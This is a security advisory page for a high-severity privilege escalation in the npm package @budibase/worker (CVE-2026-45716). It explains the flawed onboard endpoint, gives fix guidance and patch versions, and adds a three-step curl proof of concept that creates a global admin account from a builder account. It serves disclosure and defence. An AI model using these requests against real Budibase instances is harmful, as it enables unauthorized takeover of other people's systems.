Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-c54j-xp92-wh28 — @budibase/worker

HIGH

GHSA-c54j-xp92-wh28 is a high-severity (CVSS 8.8) Improper Privilege Management vulnerability in @budibase/worker. A fix is available for @budibase/worker — see the affected versions and patch details below.

Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration

Also known asCVE-2026-45716
Published
May 18, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-c54j-xp92-wh28.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk+0.21%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk
0.00%0.32%0.65%0.97%0.0%0.3%0.3%0.3%0.5%Jun 26Aug 26Sep 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-c54j-xp92-wh28 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 380,526 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
📦@budibase/worker

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation.

Details

The vulnerability stems from a mismatch between the authorization level of the onboardUsers endpoint and the user-creation capabilities it exposes when SMTP is not configured.

Route definition (packages/worker/src/api/routes/global/users.ts:93-109):

builderOrAdminRoutes  // <-- allows builders, not just admins
  .post(
    "/api/global/users/onboard",
    buildInviteMultipleValidation(),
    controller.onboardUsers
  )

Compare with the invite and inviteMultiple endpoints which are correctly admin-only:

adminRoutes  // <-- admin only
  .post("/api/global/users/invite", buildInviteValidation(), controller.invite)
  .post("/api/global/users/multi/invite", buildInviteMultipleValidation(), controller.inviteMultiple)

Controller (packages/worker/src/api/controllers/global/users.ts:601-630):

export const onboardUsers = async (ctx) => {
  if (await isEmailConfigured()) {
    await inviteMultiple(ctx)  // admin-only path (delegates to invite flow)
    return
  }

  // No SMTP → directly create users with attacker-controlled roles
  const users = ctx.request.body.map(invite => {
    const password = generatePassword(12)
    createdPasswords[invite.email] = password
    return {
      email: invite.email,
      password,
      forceResetPassword: true,
      roles: invite.userInfo.apps || {},
      admin: { global: !!invite.userInfo.admin },  // <-- attacker-controlled
      builder: invite.userInfo.builder,              // <-- attacker-controlled
      tenantId: tenancy.getTenantId(),
    }
  })

  let resp = await userSdk.db.bulkCreate(users)
  for (const user of resp.successful) {
    user.password = createdPasswords[user.email]  // <-- password returned!
  }
  ctx.body = { ...resp, created: true }
}

Middleware pass-through (packages/backend-core/src/middleware/workspaceBuilderOrAdmin.ts:10-26):

In the worker context (env.isWorker() is true), when there is no workspaceId parameter in the request (which there isn't for the onboard endpoint), the middleware at line 19 checks !workspaceId && env.isWorker() — this is true, so it falls through to line 21 which only checks hasBuilderPermissions. Any global builder passes.

Validation gap (buildInviteMultipleValidation at line 37-45): The Joi schema validates userInfo as Joi.object().optional() with no constraints on its contents, so admin and builder fields pass through.

No downstream check: bulkCreate and buildUser do not strip or validate admin/builder fields — they are written directly to the user document in CouchDB.

PoC

Prerequisites: A self-hosted Budibase instance (default: no SMTP configured) and a user account with builder-level access.

Step 1: Authenticate as a builder user and obtain the session cookie:

# Login as builder
curl -s -c cookies.txt -X POST 'http://localhost:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"[email protected]","password":"builderpassword"}'

Step 2: Create a new global admin user via the onboard endpoint:

curl -s -X POST 'http://localhost:10000/api/global/users/onboard' \
  -H 'Content-Type: application/json' \
  -b cookies.txt \
  -d '[{"email":"[email protected]","userInfo":{"admin":{"global":true}}}]'

Expected response (includes the generated password):

{
  "successful": [{"email":"[email protected]","password":"<generated-12-char-password>","admin":{"global":true},...}],
  "unsuccessful": [],
  "created": true
}

Step 3: Login as the new admin:

curl -s -X POST 'http://localhost:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"[email protected]","password":"<password-from-step-2>"}'

The attacker now has full global admin access.

Impact

  • Privilege escalation: Any builder-level user can escalate to global admin on self-hosted Budibase instances without SMTP configured (the default deployment).
  • Full platform compromise: Global admin can access all apps, all data sources, manage all users, delete apps, and modify platform configuration.
  • Credential exposure: The generated password is returned in the HTTP response, giving the attacker immediate access to the new admin account.
  • Stealth: The created user appears as a legitimately onboarded user, making detection difficult without audit log review.
  • Wide applicability: Self-hosted Budibase instances commonly run without SMTP configuration, making this the default-exploitable path.

Recommended Fix

Move the onboardUsers route from builderOrAdminRoutes to adminRoutes to match the authorization level of invite and inviteMultiple:

--- a/packages/worker/src/api/routes/global/users.ts
+++ b/packages/worker/src/api/routes/global/users.ts
-builderOrAdminRoutes
+adminRoutes
   .post(
     "/api/global/users/onboard",
     buildInviteMultipleValidation(),
     controller.onboardUsers
   )

Additionally, the onboardUsers controller should validate that the caller has sufficient permissions to assign the requested role level. Even admin users should not be able to create users with roles exceeding their own. Consider adding explicit validation in the controller:

// In onboardUsers, before bulkCreate:
for (const invite of ctx.request.body) {
  if (invite.userInfo.admin && !ctx.user.admin?.global) {
    ctx.throw(403, "Only admins can create admin users")
  }
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@budibase/workerall versions3.38.1npm install @budibase/worker@3.38.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/worker, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @budibase/worker to 3.38.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c54j-xp92-wh28 is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Frequently Asked Questions

## Summary The `POST /api/global/users/onboard` endpoint is protected by `workspaceBuilderOrAdmin` middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via `bulkCreate`, accepting arbitrary `admin` and `builder` role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation. ## Details The
O3 Security · Impact-Aware SCA

Is GHSA-c54j-xp92-wh28 in your dependencies?

Find it across npm, including transitive dependencies.

GHSA-c54j-xp92-wh28: PrivEsc (High 8.8) | O3 Security